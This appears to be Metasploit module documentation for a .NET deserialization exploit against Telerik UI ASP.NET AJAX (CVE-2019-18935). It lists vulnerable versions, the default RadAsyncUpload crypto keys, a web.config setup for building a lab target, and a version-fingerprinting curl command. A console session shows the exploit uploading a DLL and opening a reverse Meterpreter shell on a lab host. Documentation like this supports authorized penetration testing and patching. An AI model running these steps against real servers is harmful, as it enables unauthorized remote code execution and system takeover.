## Vulnerable Application

This module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik UI
ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET assembly
DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the cryptographic
keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once patched randomizes
these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running. This version number is in
the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').

### Version Reference

| Version                 | CVE-2017-11317                                  | CVE-2019-18938                    |
| ----------------------- | ----------------------------------------------- | --------------------------------- |
| < 2011.1.315            | Unknown                                         | Unknown                           |
| 2011.1.315 - 2017.2.621 | Vulnerable (unless patched and RAU is disabled) | Vulnerable                        |
| 2017.2.711 - 2019.3.917 | Configuration-dependent                         | Vulnerable                        |
| 2019.3.1023             | Configuration-dependent                         | Configuration-dependent (opt-in)  |
| > 2020.1.114            | Configuration-dependent                         | Configuration-dependent (default) |

* [https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload][1]
* [https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization][2]

### Configuring Telerik UI ASP.NET AJAX
Starting in version 2020.1.114, the application must be configured to be vulnerable by making changes to its XML
configuration file (`web.config`). For the live demos included within the Telerik UI trial version, this file is located
at `C:\Program Files (x86)\Progress\Telerik UI for ASP.NET AJAX R3 2020\Live Demos\web.config`. Within this
configuration file is the `appSettings` node. To make the instance vulnerable, add the following within this section and
restart the application if necessary:

```
  &lt;appSettings&gt;
    &lt;!-- Configured to replicate CVE-2017-11317 --&gt;
    &lt;add key=&quot;Telerik.AsyncUpload.ConfigurationEncryptionKey&quot; value=&quot;PrivateKeyForEncryptionOfRadAsyncUploadConfiguration&quot;/&gt;
    &lt;add key=&quot;Telerik.Upload.ConfigurationHashKey&quot; value=&quot;PrivateKeyForHashOfUploadConfiguration&quot;/&gt;
    &lt;!-- Configured to replicate CVE-2019-18935 --&gt;
    &lt;add key=&quot;Telerik.Upload.AllowedCustomMetaDataTypes&quot; value=&quot;System.Configuration.Install.AssemblyInstaller&quot;/&gt;
    &lt;!-- ... include the remaining configuration options --&gt;
```

## Verification Steps

Exploitation of this vulnerability requires knowledge of two things, the crypto keys (see the details for the
`RAU_ENCRYPTION_KEY` and `RAU_SIGNING_KEY` options) and the Telerik RAU ASP.NET AJAX version (see the details for the
`VERSION` option).

1. Start msfconsole
1. Do: `use exploit/windows/http/telerik_rau_deserialization `
1. Set the `RHOSTS` and `PAYLOAD` options
1. Set any additional options as required by the previously selected payload
1. Optionally set the `VHOST`, `RPORT` and `SSL` options as appropriate
1. Set the `VERSION` option if it is known
1. Run the exploit

The DLL file which is written to disk and executed via the deserialization flaw will remain loaded and thus can not be
cleaned up automatically by Metasploit.

## Options

### RAU_ENCRYPTION_KEY
The encryption key for the RAU configuration data. This setting can be changed [starting in version 2017.1.118][1.1] by
specifying the `Telerik.AsyncUpload.ConfigurationEncryptionKey` key within the `appSettings` section of the applications
`web.config` XML file. The default value per CVE-2017-11317 is `PrivateKeyForEncryptionOfRadAsyncUploadConfiguration`.

### RAU_SIGNING_KEY
The signing key for the RAU configuration data. This setting can be changed [starting in version 2017.1.118][1.1] by
specifying the `Telerik.Upload.ConfigurationHashKey` key within the `appSettings` section of the applications
`web.config` XML file. The default value per CVE-2017-11317 is `PrivateKeyForHashOfUploadConfiguration`. Versions older
than 2017.1.118 do not utilize signing.

### VERSION

The Telerik UI ASP.NET AJAX version. If this value is not specified, the module will attempt to enumerate it through a
series of requests using all known version numbers. This enumeration will fail if the correct crypto keys are not set.

Alternatively, the version information can sometimes be identified without authentication.

> If the application using RadAsyncUpload does not require authentication, then you can usually find the UI version
> buried somewhere in the HTML source of the application's home page. The location of the version string isn't
> consistent, though, so the best method of locating it is to use Burp to search for the regular expression
> `20[0-9]{2}(\.[0-9]*)+` (and make sure you check the "Regex" box). You can also accomplish this with cURL:
>
> `curl -skL <HOST> | grep -oE '20[0-9]{2}(\.[0-9]*)+'`
>
> If that doesn't work, you can alternatively search for the string `<script src="/WebResource` to identify any
> JavaScript files that are included in the site's home page. Choose one of the static resources there and examine its
> `Last-Modified` date in the HTTP response header; that date should roughly match the release date of the software. For
> example, a JavaScript resource bundled with UI for ASP.NET AJAX Q1 2013 (v2013.1.220, released on February 20, 2013)
> will read `Last-Modified: Wed, 20 Feb 2013 00:00:00 GMT` in the HTTP response header for that file.

*Source:* [https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui][3]

### EXE::Custom
*This is an advanced option.*

Use custom exe instead of automatically generating a payload exe. If a custom payload executable is specified, it must
be a [mixed mode assembly][4] DLL in order to be loaded through the deserialization technique.

## Scenarios

### Telerik UI ASP.NET AJAX v2020.3.915 on Windows 10

This system was configured to be vulnerable through changes to the application's `web.config` file.

```
msf > use exploit/windows/http/telerik_rau_deserialization
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/http/telerik_rau_deserialization) > set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
msf exploit(windows/http/telerik_rau_deserialization) > set RPORT 8080
RPORT => 8080
msf exploit(windows/http/telerik_rau_deserialization) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf exploit(windows/http/telerik_rau_deserialization) > set VHOST win10dev
VHOST => win10dev
msf exploit(windows/http/telerik_rau_deserialization) > set VERBOSE true
VERBOSE => true
msf exploit(windows/http/telerik_rau_deserialization) > check

[*] Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect
[*] Checking version: 2020.3.915
[+] Uploaded 0 bytes to: C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp
[+] The Telerik UI ASP.NET AJAX version has been identified as: 2020.3.915
[*] Server is using default crypto keys and is vulnerable to CVE-2017-11317
[*] 192.168.159.129:8080 - The service is running, but could not be validated.
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target
msf exploit(windows/http/telerik_rau_deserialization) > set VERSION 2020.3.915
VERSION => 2020.3.915
msf exploit(windows/http/telerik_rau_deserialization) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(windows/http/telerik_rau_deserialization) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] Uploaded 0 bytes to: C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp
[*] Server is using default crypto keys and is vulnerable to CVE-2017-11317
[!] The service is running, but could not be validated.
[+] Uploaded 29184 bytes to: C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp
[*] Executing the payload...
[*] Sending stage (175174 bytes) to 192.168.159.129
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.129:49466) at 2020-10-07 10:44:31 -0400
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target

meterpreter > getuid
Server username: WIN10DEV\smcintyre
meterpreter > sysinfo
Computer        : WIN10DEV
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >
```

[1]:   https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
[1.1]: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload#r1-2017-to-r2-2017-sp1
[2]:   https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
[3]:   https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui
[4]:   https://docs.microsoft.com/en-us/cpp/dotnet/mixed-native-and-managed-assemblies?view=vs-2019
